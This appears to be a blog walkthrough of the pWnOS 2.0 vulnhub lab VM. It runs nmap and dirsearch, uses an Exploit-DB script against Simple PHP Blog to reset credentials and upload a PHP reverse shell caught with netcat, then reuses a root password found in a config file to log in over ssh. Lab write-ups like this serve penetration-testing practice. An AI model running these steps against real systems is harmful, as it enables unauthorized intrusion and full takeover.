pWnOS: 2.0

pWnOS is a boot to root virtual machine which is on vulnhub.

Description:

pWnOS v2.0 is a Virutal Machine Image which hosts a server to pratice penetration testing. It will test your ability to exploit the server and contains multiple entry points to reach the goal (root). It was design to be used with WMWare Workstation 7.0, but can also be used with most other virtual machine software.

Identify IP Address of the machine:

The machine has a static ip address 10.10.10.100

Nmap :

```
root@PREDATOR:~/vulnhub/pwnos2# nmap -A -T4 -p- -oN nmap 10.10.10.100
Nmap scan report for 10.10.10.100
Host is up (0.00032s latency).
Not shown: 65533 closed ports
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 5.8p1 Debian 1ubuntu3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   1024 85:d3:2b:01:09:42:7b:20:4e:30:03:6d:d1:8f:95:ff (DSA)
|   2048 30:7a:31:9a:1b:b8:17:e7:15:df:89:92:0e:cd:58:28 (RSA)
|_  256 10:12:64:4b:7d:ff:6a:87:37:26:38:b1:44:9f:cf:5e (ECDSA)
80/tcp open  http    Apache httpd 2.2.17 ((Ubuntu))
| http-cookie-flags:
|   /:
|     PHPSESSID:
|_      httponly flag not set
|_http-server-header: Apache/2.2.17 (Ubuntu)
|_http-title: Welcome to this Site!
MAC Address: 08:00:27:5C:9A:BF (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 2.6.X
OS CPE: cpe:/o:linux:linux_kernel:2.6
OS details: Linux 2.6.32 - 2.6.39Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
```

```
TRACEROUTE
HOP RTT     ADDRESS
1   0.32 ms 10.10.10.100

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Fri Oct  4 08:22:28 2019 -- 1 IP address (1 host up) scanned in 9.86 seconds
```

Enumeration :

Enumerating port 80 we see a welcome page and some login and register buttons. When we register it and try to log in we are redirected to login.php page with a welcome header and logging in text so nothing here, this might be a rabbit hole.

When we use dirsearch on 10.10.10.100 we find some intresting pages.

```
root@PREDATOR:~/vulnhub/pwnos2# dirsearch -u http://10.10.10.100/ -e / -x 403

Target: http://10.10.10.100/

[09:21:18] Starting:
[09:21:18] 200 -  854B  - /
[09:21:20] 301 -  311B  - /blog  ->  http://10.10.10.100/blog/
[09:21:21] 301 -  315B  - /includes  ->  http://10.10.10.100/includes/
[09:21:21] 200 -    1KB - /includes/
[09:21:21] 200 -  854B  - /index
[09:21:22] 200 -  854B  - /index.php
[09:21:22] 200 -  854B  - /index.php/login/
[09:21:22] 200 -   51KB - /info
[09:21:22] 200 -   51KB - /info.php
[09:21:22] 200 -    1KB - /login
[09:21:22] 200 -    1KB - /login.php
[09:21:22] 200 -    1KB - /login/admin/
[09:21:22] 200 -    1KB - /login/
[09:21:22] 200 -    1KB - /login/admin/admin.asp
[09:21:22] 200 -    1KB - /login/administrator/
[09:21:22] 200 -    1KB - /login/cpanel/
[09:21:22] 200 -    1KB - /login/cpanel./
[09:21:22] 200 -    1KB - /login/login
[09:21:22] 200 -    1KB - /login/index
[09:21:22] 200 -    1KB - /login/oauth/
[09:21:22] 200 -    1KB - /login/super
[09:21:23] 200 -    2KB - /register
[09:21:23] 200 -    2KB - /register.php
```

When we visit http://10.10.10.100/blog we are offered a different page. Here i saw another login page tried credentials that we created previously and we are not able to log in.
I also ran another dirsearch on /blog directory.

```
root@PREDATOR:~/vulnhub/pwnos2# dirsearch -u http://10.10.10.100/blog -e / -x 403

 _|. _ _  _  _  _ _|_    v0.3.8
(_||| _) (/_(_|| (_| )

Extensions: / | HTTP method: get | Threads: 10 | Wordlist size: 6084

Error Log: /root/DATA/dirsearch/logs/errors-19-10-04_09-20-48.log

Target: http://10.10.10.100/blog

[09:20:48] Starting:
[09:20:48] 200 -    8KB - /
[09:20:49] 302 -    0B  - /blog/add.php  ->  http://10.10.10.100/blog/index.php
[09:20:49] 302 -    0B  - /blog/add  ->  http://10.10.10.100/blog/index.php
[09:20:50] 200 -    1KB - /blog/atom
[09:20:51] 302 -    0B  - /blog/categories  ->  http://10.10.10.100/blog/index.php
[09:20:51] 302 -    0B  - /blog/comments  ->  http://10.10.10.100/blog/index.php
[09:20:51] 301 -  318B  - /blog/config  ->  http://10.10.10.100/blog/config/
[09:20:51] 200 -    1KB - /blog/config/
[09:20:51] 301 -  319B  - /blog/content  ->  http://10.10.10.100/blog/content/
[09:20:51] 200 -    6KB - /blog/contact
[09:20:51] 302 -    0B  - /blog/delete.php  ->  http://10.10.10.100/blog/index.php
[09:20:51] 301 -  316B  - /blog/docs  ->  http://10.10.10.100/blog/docs/
[09:20:51] 200 -    2KB - /blog/docs/
[09:20:52] 301 -  317B  - /blog/flash  ->  http://10.10.10.100/blog/flash/
[09:20:52] 301 -  318B  - /blog/images  ->  http://10.10.10.100/blog/images/
[09:20:52] 200 -    8KB - /blog/index
[09:20:52] 200 -    8KB - /blog/index.php
[09:20:52] 200 -    8KB - /blog/index.php/login/
[09:20:52] 302 -    0B  - /blog/info  ->  http://10.10.10.100/blog/index.php
[09:20:52] 302 -    0B  - /blog/info.php  ->  http://10.10.10.100/blog/index.php
[09:20:52] 301 -  321B  - /blog/languages  ->  http://10.10.10.100/blog/languages/
[09:20:52] 200 -    6KB - /blog/login
[09:20:52] 200 -    6KB - /blog/login.php
[09:20:52] 200 -    6KB - /blog/login/login
[09:20:52] 200 -    6KB - /blog/login/super
[09:20:52] 200 -    6KB - /blog/login/admin/
[09:20:52] 200 -    6KB - /blog/login/administrator/
[09:20:52] 200 -    6KB - /blog/login/cpanel./
[09:20:52] 200 -    6KB - /blog/login/
[09:20:52] 200 -    6KB - /blog/login/index
```

```
[09:20:52] 200 -    6KB - /blog/login/oauth/
[09:20:52] 200 -    6KB - /blog/login/cpanel/
[09:20:52] 200 -    6KB - /blog/login/admin/admin.asp
[09:20:52] 302 -    0B  - /blog/logout/  ->  http://10.10.10.100/blog/index.php
[09:20:52] 302 -    0B  - /blog/logout  ->  http://10.10.10.100/blog/index.php
[09:20:53] 200 -    1KB - /blog/rss
[09:20:53] 301 -  319B  - /blog/scripts  ->  http://10.10.10.100/blog/scripts/
[09:20:53] 200 -    6KB - /blog/scripts/
[09:20:54] 302 -    0B  - /blog/setup  ->  http://10.10.10.100/blog/index.php
[09:20:54] 302 -    0B  - /blog/setup/  ->  http://10.10.10.100/blog/index.php
[09:20:54] 302 -    0B  - /blog/setup.php  ->  http://10.10.10.100/blog/index.php
[09:20:54] 302 -    0B  - /blog/static  ->  http://10.10.10.100/blog/index.php
[09:20:54] 301 -  318B  - /blog/themes  ->  http://10.10.10.100/blog/themes/
[09:20:54] 302 -    0B  - /blog/trackback  ->  http://10.10.10.100/blog/index.php
[09:20:54] 302 -    0B  - /blog/upgrade  ->  http://10.10.10.100/blog/index.php
[09:20:54] 302 -    0B  - /blog/upgrade.php  ->  http://10.10.10.100/blog/index.php
[09:20:54] 200 -    5KB - /blog/search
[09:20:55] 200 -    5KB - /blog/stats/
[09:20:55] 200 -    5KB - /blog/stats
```

In docs directory found that simple php blog 0.4.0 is running on it
a quick google search and we found a exploit for it
https://www.exploit-db.com/exploits/1191
when we run the exploit using command

```
root@PREDATOR:~/vulnhub/pwnos2# perl 1191.pl -h http://10.10.10.100/blog/ -e 1
```

and visit http://10.10.10.100/blog/images/ we find our cmd.php uploaded there
but i wa s not able to get reverse connection from therre so i set new username and password using

```
root@PREDATOR:~/vulnhub/pwnos2# perl 1191.pl -h http://10.10.10.100/blog/ -e 3 -U sudocj -P sudocj
```

and thein i log in using username sudocj and password sudocj
after we log in we find a upload image section in which i uploaded my php-reverse-shell and got user www-data

```
root@PREDATOR:~/vulnhub/pwnos2# nc -nlvp 445
listening on [any] 445 ...
connect to [10.10.10.1] from (UNKNOWN) [10.10.10.100] 54556
Linux web 2.6.38-8-server #42-Ubuntu SMP Mon Apr 11 03:49:04 UTC 2011 x86_64 x86_64 x86_64 GNU/Linux
 01:19:54 up  2:28,  1 user,  load average: 1.05, 1.04, 1.03
USER     TTY      FROM              LOGIN@   IDLE   JCPU   PCPU WHAT
root     pts/1    10.10.10.1       23:23    1:49m  0.09s  0.09s -bash
uid=33(www-data) gid=33(www-data) groups=33(www-data)
```

```
/bin/sh: can't access tty; job control turned off
$ python -c 'import pty;pty.spawn("/bin/bash")'
www-data@web:/$ whoami
www-data
www-data@web:/$
```

Post-Enumeration:

After getting user shell looked for some files (following this blog)

and found a suspicious file under /var named mysqli_connect.php

when we cat this file we get some text which also contain root password

```
// This file contains the database access information.
// This file also establishes a connection to MySQL
// and selects the database.

// Set the database access information as constants:

DEFINE ('DB_USER', 'root');
DEFINE ('DB_PASSWORD', 'root@ISIntS');
DEFINE ('DB_HOST', 'localhost');
DEFINE ('DB_NAME', 'ch16');

// Make the connection:
```

and finally ssh root user using

```
root@PREDATOR:~/vulnhub/pwnos2# ssh root@10.10.10.100
root@10.10.10.100's password:
Welcome to Ubuntu 11.04 (GNU/Linux 2.6.38-8-server x86_64)

 * Documentation:  http://www.ubuntu.com/server/doc

 System information disabled due to load higher than 1.0
Last login: Thu Oct  3 23:23:11 2019 from 10.10.10.1
root@web:~# whoami
root
```

and we are root :-)